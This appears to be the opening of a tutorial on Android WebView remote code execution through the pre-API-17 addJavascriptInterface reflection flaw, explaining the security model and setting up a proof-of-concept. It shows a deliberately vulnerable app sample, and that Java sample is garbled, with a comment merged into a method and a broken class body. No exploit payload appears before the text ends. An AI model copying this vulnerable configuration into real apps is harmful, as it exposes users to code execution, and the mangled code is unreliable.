Introduction to Android WebView RCE

Android’s WebView component is a powerful tool, allowing developers to display web content directly within their applications. Essentially, it’s a mini-browser embedded in an app. While incredibly useful, misconfigurations or older API usages can turn this benign component into a critical attack vector, leading to Remote Code Execution (RCE). This article will guide you through understanding the mechanics of such vulnerabilities and developing a Proof-of-Concept (PoC) RCE exploit from the ground up, focusing on a classic `addJavascriptInterface` flaw.

Understanding the WebView Security Model

At its core, WebView is designed to isolate web content from the native application. However, developers often need to bridge functionality between JavaScript running in the WebView and native Java/Kotlin code. This is typically achieved using the `addJavascriptInterface` method. When an object is added via this method, its public methods become accessible to JavaScript code within the WebView.

Historically, prior to API level 17 (Android 4.2 Jelly Bean), `addJavascriptInterface` had a severe design flaw. JavaScript could use Java reflection to access *any* public method of *any* Java object, including those of `java.lang.Object` like `getClass()`, and consequently, `java.lang.Runtime`. This allowed an attacker to execute arbitrary shell commands.

Post-API 17, Google introduced the `@JavascriptInterface` annotation. Only methods explicitly marked with this annotation are exposed to JavaScript, significantly restricting the attack surface. Furthermore, `setAllowFileAccess` and `setAllowUniversalAccessFromFileURLs` are critical settings that, if misconfigured, can lead to local file system access or even universal access from file URLs, complementing RCE exploits.

The Vulnerable `addJavascriptInterface`

Our PoC will target an older Android version (or an app with `targetSdkVersion` below 17, running on an older device/emulator) to demonstrate the pre-API 17 `addJavascriptInterface` vulnerability. The core idea is that if a Java object is exposed without proper safeguards, an attacker can use reflection to gain access to the underlying Android system’s `Runtime` class and execute commands.

Consider a simple Android app with a WebView that adds a custom JavaScript interface:

public class MainActivity extends AppCompatActivity {  @Override  protected void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);    setContentView(R.layout.activity_main);    WebView webView = findViewById(R.id.webView);    WebSettings webSettings = webView.getSettings();    webSettings.setJavaScriptEnabled(true);    // Crucially, set targetSdkVersion to = 17, but for <=16 all public methods are exposed    public void showToast(String toast) {      Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();    }  }}

In this example, the `WebViewJavaScriptInterface` is exposed as